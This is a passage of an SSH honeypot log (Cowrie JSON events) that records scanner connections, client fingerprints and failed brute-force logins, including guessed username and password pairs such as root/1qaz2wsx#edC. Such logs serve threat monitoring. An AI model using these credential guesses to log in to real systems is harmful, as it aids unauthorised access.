cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:16:44.021532Z","src_ip":"159.65.58.200","session":"c5ecb92819e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shpizan","password":"123456","message":"login attempt [shpizan/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:16:45.226961Z","src_ip":"159.65.58.200","session":"c5ecb92819e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:16:46.586703Z","src_ip":"159.65.58.200","session":"c5ecb92819e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":64764,"dst_ip":"159.203.135.109","dst_port":22,"session":"6336dfbcf639","protocol":"ssh","message":"New connection: 182.93.7.194:64764 (159.203.135.109:22) [session: 6336dfbcf639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:16:55.001874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:16:55.005993Z","src_ip":"182.93.7.194","session":"6336dfbcf639","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:16:55.219694Z","src_ip":"182.93.7.194","session":"6336dfbcf639","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crt","password":"crt123","message":"login attempt [crt/crt123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:16:56.099743Z","src_ip":"182.93.7.194","session":"6336dfbcf639","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:16:57.339898Z","src_ip":"182.93.7.194","session":"6336dfbcf639","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":55534,"dst_ip":"159.203.135.109","dst_port":22,"session":"919ceb1f73fb","protocol":"ssh","message":"New connection: 178.20.210.208:55534 (159.203.135.109:22) [session: 919ceb1f73fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:20.722147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:20.726897Z","src_ip":"178.20.210.208","session":"919ceb1f73fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:20.829143Z","src_ip":"178.20.210.208","session":"919ceb1f73fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx#edC","message":"login attempt [root/1qaz2wsx#edC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:21.216411Z","src_ip":"178.20.210.208","session":"919ceb1f73fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:22.317616Z","src_ip":"178.20.210.208","session":"919ceb1f73fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":34156,"dst_ip":"10.17.0.5","dst_port":22,"session":"a10e2cfb8932","protocol":"ssh","message":"New connection: 194.113.233.25:34156 (10.17.0.5:22) [session: a10e2cfb8932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:25.350575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:25.354786Z","src_ip":"194.113.233.25","session":"a10e2cfb8932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:25.448668Z","src_ip":"194.113.233.25","session":"a10e2cfb8932","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"03021995","message":"login attempt [root/03021995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:25.734517Z","src_ip":"194.113.233.25","session":"a10e2cfb8932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:26.830120Z","src_ip":"194.113.233.25","session":"a10e2cfb8932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":60564,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ffd86524d33","protocol":"ssh","message":"New connection: 91.92.40.4:60564 (10.17.0.5:22) [session: 2ffd86524d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:31.959487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:31.963461Z","src_ip":"91.92.40.4","session":"2ffd86524d33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:32.050352Z","src_ip":"91.92.40.4","session":"2ffd86524d33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"321","message":"login attempt [hadoop/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:32.440060Z","src_ip":"91.92.40.4","session":"2ffd86524d33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:33.532080Z","src_ip":"91.92.40.4","session":"2ffd86524d33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.243.11.39","src_port":41208,"dst_ip":"10.17.0.5","dst_port":22,"session":"68de68768fda","protocol":"ssh","message":"New connection: 185.243.11.39:41208 (10.17.0.5:22) [session: 68de68768fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:34.839726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:34.843695Z","src_ip":"185.243.11.39","session":"68de68768fda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:34.931629Z","src_ip":"185.243.11.39","session":"68de68768fda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blockchain123","password":"blockchain123","message":"login attempt [blockchain123/blockchain123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:35.196876Z","src_ip":"185.243.11.39","session":"68de68768fda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:36.287656Z","src_ip":"185.243.11.39","session":"68de68768fda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:54.241149Z","src_ip":"89.223.69.22","session":"e9a7a8eb7a73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":40998,"dst_ip":"10.17.0.5","dst_port":22,"session":"10bd7d9e358f","protocol":"ssh","message":"New connection: 46.19.67.181:40998 (10.17.0.5:22) [session: 10bd7d9e358f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:54.649184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:54.657272Z","src_ip":"46.19.67.181","session":"10bd7d9e358f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:54.770815Z","src_ip":"46.19.67.181","session":"10bd7d9e358f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"03051981","message":"login attempt [root/03051981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:55.105703Z","src_ip":"46.19.67.181","session":"10bd7d9e358f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:17:56.219347Z","src_ip":"46.19.67.181","session":"10bd7d9e358f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":46456,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfe258e60537","protocol":"ssh","message":"New connection: 185.242.3.195:46456 (159.203.135.109:22) [session: cfe258e60537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:18:09.018098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:18:09.023125Z","src_ip":"185.242.3.195","session":"cfe258e60537","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:18:09.115503Z","src_ip":"185.242.3.195","session":"cfe258e60537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"git123","message":"login attempt [root/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:18:09.392376Z","src_ip":"185.242.3.195","session":"cfe258e60537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:18:10.487321Z","src_ip":"185.242.3.195","session":"cfe258e60537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00381708145142,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:18:12.838274Z","src_ip":"183.91.11.226","session":"a8bd139c6529","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.93.192","src_port":55034,"dst_ip":"159.203.135.109","dst_port":22,"session":"139fc8db10b2","protocol":"ssh","message":"New connection: 198.1.93.192:55034 (159.203.135.109:22) [session: 139fc8db10b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:18:25.487187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:18:25.491119Z","src_ip":"198.1.93.192","session":"139fc8db10b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["